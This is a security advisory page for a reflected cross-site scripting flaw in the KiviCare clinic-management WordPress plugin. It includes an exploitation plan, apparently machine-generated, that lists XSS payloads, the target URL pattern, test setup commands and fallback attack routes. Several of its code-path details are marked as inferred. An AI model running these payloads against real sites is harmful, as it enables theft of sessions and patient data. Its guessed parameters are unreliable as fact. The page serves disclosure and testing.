KiviCare – Clinic & Patient Management System (EHR) <= 3.6.16 - Reflected Cross-Site Scripting
Description
The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 3.6.16 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=3.6.16What Changed in the Fix
Changes introduced in v4.0.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-25383 (KiviCare Reflected XSS) ## 1. Vulnerability Summary The **KiviCare – Clinic & Patient Management System (EHR)** plugin (versions <= 3.6.16) is vulnerable to **Reflected Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin reflects u…
Show full research plan
Exploitation Research Plan: CVE-2026-25383 (KiviCare Reflected XSS)
1. Vulnerability Summary
The KiviCare – Clinic & Patient Management System (EHR) plugin (versions <= 3.6.16) is vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability exists because the plugin reflects user-supplied input from URL parameters into the page HTML without sufficient sanitization or output escaping. Specifically, parameters used for displaying status messages or error notifications on pages containing KiviCare shortcodes are likely candidates for this reflection.
2. Attack Vector Analysis
- Endpoint: Any frontend page containing the KiviCare shortcodes, most notably the "Login/Register" page created during plugin activation.
- Vulnerable Parameter:
kc_msg(inferred based on plugin naming conventions) orerror. - Authentication: Unauthenticated.
- Attack Type: Reflected (GET-based).
- Preconditions: The plugin must be active and a page containing a KiviCare shortcode (e.g.,
[kivicareRegisterLogin]) must be accessible.
3. Code Flow
- Entry Point: A user accesses a URL such as
http://site.com/kivicare-login/?kc_msg=<payload>. - Shortcode Execution: WordPress parses the page and triggers the callback for the
[kivicareRegisterLogin]shortcode. - Parameter Retrieval: The plugin's controller (likely an internal handler for shortcode views) retrieves the
kc_msgparameter from the$_GETsuperglobal. - Vulnerable Sink: The parameter value is echoed directly into the HTML response (often inside a notice or alert
div) without being passed through escaping functions likeesc_html()orwp_kses(). - Alternative Sink: The value is passed to a JavaScript variable via
wp_localize_script()and subsequently rendered by the plugin's Vue.js frontend using a vulnerable directive (e.g.,v-html).
4. Nonce Acquisition Strategy
Reflected XSS via a GET parameter typically occurs during the initial page load and does not usually require a nonce for the reflection itself. However, if the reflection is contained within an AJAX-based view system:
- Shortcode:
[kivicareRegisterLogin] - Page Creation: Use
wp post list --post_type=pageto find the slug of the page created byKCActivate::createShortcodePage(). - JS Variable: Check for
wp_localize_scriptdata. Common variables in KiviCare includekivicare_optionsorkc_nonces. - Extraction:
browser_navigate("http://site.local/kivicare-login")browser_eval("window.kivicare_options")
Note: For this specific Reflected XSS, the primary exploit target is the direct reflection in the GET request, which likely bypasses nonce requirements.
5. Exploitation Strategy
- Identify Target Page: Find the page containing the
[kivicareRegisterLogin]shortcode. - Payload Construction:
- Basic:
<script>alert(document.domain)</script> - Attribute Breakout:
"><script>alert(document.cookie)</script> - Image-based:
<img src=x onerror=alert(1)>
- Basic:
- HTTP Request:
- Method:
GET - URL:
http://[target-site]/kivicare-login/?kc_msg=<URL_ENCODED_PAYLOAD> - Headers:
Accept: text/html
- Method:
- Tool: Use
http_requestto send the GET request and analyze thebodyfor the reflected payload.
6. Test Data Setup
- Activate Plugin:
wp plugin activate kivicare-clinic-management-system - Verify Pages:
- Run
wp post list --post_type=pageto ensure the "Kivicare Login" page exists. - If missing, create one:
wp post create --post_type=page --post_title="Kivicare Login" --post_status=publish --post_content='[kivicareRegisterLogin]'
- Run
- Identify Slug: Note the slug (usually
kivicare-login).
7. Expected Results
- The HTTP response body will contain the literal payload string (e.g.,
<script>alert(document.domain)</script>) instead of an escaped version (e.g.,<script>). - When viewed in a browser, the JavaScript payload will execute in the context of the user's session.
8. Verification Steps
- Manual Inspection: Search the response body of the
http_requestfor the exact payload string. - DOM Verification: Use
browser_navigateto the malicious URL and check for an alert dialog or evidence of script execution.browser_navigate("http://site.local/kivicare-login/?kc_msg=<payload>")- Check for execution side-effects (e.g., a global variable set by the payload).
9. Alternative Approaches
- Parameter Variation: If
kc_msgis not reflected, tryerror,message,status, orview. - Localization Reflection: Inspect the source of the page for
wp_localize_scriptblocks. Look for parameters echoed into JSON objects:<script id="kc-main-js-extra"> var kc_data = {"message": "[PAYLOAD]"}; </script> - SVG Upload (if permissions allow): If the reflected XSS fails, check if the plugin allows unauthenticated users to upload files (e.g., via appointment attachments) and use an SVG with embedded XSS. (This is a different vulnerability type but a common fallback in EHR plugins).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.